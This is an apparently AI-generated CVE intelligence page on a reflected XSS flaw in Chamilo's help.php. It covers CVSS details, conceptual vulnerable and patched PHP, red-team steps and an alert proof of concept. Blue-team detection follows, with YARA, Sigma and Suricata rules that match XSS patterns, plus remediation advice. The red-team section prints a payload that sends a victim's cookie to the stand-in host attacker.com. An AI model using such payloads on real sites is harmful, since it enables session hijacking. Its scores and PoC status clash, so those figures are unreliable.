☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-52564

CVE-2025-52564 Cross-Site Scripting in Chamilo
📅 PUBLISHED: 2026-03-02 15:54 UTC 🔄 UPDATED: 2026-09-23 20:24 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.19%
👁️
0.19% probability
4.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Belgium License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-52564 is a reflected Cross-Site Scripting (XSS) vulnerability in Chamilo, a popular open-source Learning Management System (LMS). The flaw resides in the help.php script, where the open parameter is not properly sanitized before being rendered in the HTML output. An attacker can craft a malicious URL containing arbitrary HTML or JavaScript, which, when visited by an authenticated user, executes in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability is patched in Chamilo version 1.11.30.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Chamilo is a PHP-based application distributed as a ZIP archive or via Git. There are no NPM, PyPI, Go, or Ruby packages involved. The primary supply chain risk is the use of outdated or unpatched Chamilo installations. Administrators should ensure they are using the latest version from the official Chamilo repository.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD) / 4.3 (Calculated)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Attack Vector (AV): Network - The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low - No special conditions are required.
  • Privileges Required (PR): None - The attacker does not need to be authenticated.
  • User Interaction (UI): Required - The victim must click on the crafted link.
  • Scope (S): Unchanged - The exploit does not affect other components.
  • Confidentiality (C): None - Direct data theft is not possible.
  • Integrity (I): Low - The attacker can modify content in the victim's browser.
  • Availability (A): None - The vulnerability does not affect system availability.

Threat Level: Medium. While the CVSS score is low due to the need for user interaction, the potential for session hijacking and phishing attacks makes this a significant concern for Chamilo deployments.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the help.php file. The open parameter is used to specify which help topic to display. The vulnerable code likely directly echoes the value of $_GET['open'] into the HTML without any sanitization or encoding.

Attack Flow:

  1. An attacker crafts a URL like: https://target-chamilo.com/main/help.php?open=<script>alert('XSS')</script>
  2. The attacker sends this link to a victim (e.g., via email, social media, or a phishing campaign).
  3. The victim, who is logged into Chamilo, clicks the link.
  4. The help.php script processes the request and outputs the malicious script in the HTML response.
  5. The victim's browser executes the script, which can perform actions like stealing session cookies, redirecting to a malicious site, or performing actions on behalf of the victim.

Root Cause: Lack of output encoding. The application fails to treat user input as data rather than code. The fix in version 1.11.30 likely uses htmlspecialchars() or a similar function to escape HTML special characters.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
// help.php
$open = $_GET['open'];
echo "<div id='help-content'>$open</div>";
?>

Patched Code (Conceptual):

<?php
// help.php
$open = $_GET['open'];
echo "<div id='help-content'>" . htmlspecialchars($open, ENT_QUOTES, 'UTF-8') . "</div>";
?>

The patched version uses htmlspecialchars() to convert characters like <, >, ", and & into their HTML entity equivalents, preventing the browser from interpreting them as code.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A vulnerable Chamilo instance (version < 1.11.30).
  • A web browser.

Exploitation Steps:

  1. Identify a target Chamilo instance.
  2. Craft a malicious URL. For example, to steal a session cookie:
    https://target-chamilo.com/main/help.php?open=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  3. Send the link to a victim (e.g., via email).
  4. When the victim clicks the link, their session cookie is sent to the attacker's server.

Proof of Concept (PoC):

<!-- Save as poc.html and host on attacker server -->
<a href="https://target-chamilo.com/main/help.php?open=<script>alert('XSS')</script>">Click me</a>

Blue Team

Detection:

  • Monitor web server logs for requests to /main/help.php with suspicious open parameters containing <script>, onerror=, or other HTML/JavaScript constructs.
  • Use a Web Application Firewall (WAF) to block requests with malicious payloads in the open parameter.

Hunting:

  • Search for URLs in logs that contain encoded or unencoded HTML tags in the open parameter.
  • Look for unusual referrer headers or user agents that may indicate automated scanning.

Lab Setup:

  1. Deploy a vulnerable Chamilo instance (e.g., version 1.11.29) in a controlled environment.
  2. Use a tool like Burp Suite or OWASP ZAP to intercept and modify requests.
  3. Send a crafted request to help.php with a malicious open parameter.
  4. Observe the response in the browser or proxy to confirm the XSS.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /main/help.php with open parameter containing <script>, %3Cscript%3E, or similar patterns.
    • Outbound connections to unknown IP addresses or domains from a Chamilo server (if the XSS payload exfiltrates data).
  • Host IOCs:

    • Web server logs showing requests with suspicious open parameter values.
    • Presence of unexpected JavaScript code in the HTML source of help.php pages.
  • File IOCs:

    • No specific file IOCs, as this is a server-side vulnerability.

Detection Engineering

YARA Rule

rule Detect_Chamilo_XSS_Help_PHP {
    meta:
        description = "Detects attempts to exploit CVE-2025-52564 in Chamilo help.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52564"
    strings:
        $xss_payload = /help\.php\?open=.*(<script|<img|onerror=|onload=)/i
    condition:
        $xss_payload
}

Sigma Rule

title: Chamilo help.php Reflected XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-52564 by injecting HTML/JavaScript into the open parameter of help.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/main/help.php?open='
        cs-uri-query|re: '(<script|<img|onerror=|onload=)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in help topics (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"Chamilo help.php Reflected XSS Attempt"; flow:to_server,established; content:"/main/help.php"; http_uri; content:"open="; http_uri; pcre:"/(<script|<img|onerror=|onload=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Chamilo: Update to version 1.11.30 or later immediately.
  2. Apply Virtual Patching: If immediate upgrade is not possible, use a WAF to block requests containing malicious patterns in the open parameter.
  3. Review Logs: Check web server logs for any signs of exploitation.

Long-Term Mitigations:

  • Input Validation: Implement strict input validation for all user-supplied parameters.
  • Output Encoding: Use context-appropriate encoding (e.g., HTML entity encoding) when rendering user input.
  • Content Security Policy (CSP): Deploy a CSP header to mitigate the impact of XSS attacks.
  • Regular Updates: Keep Chamilo and all other software up to date.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-52564/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.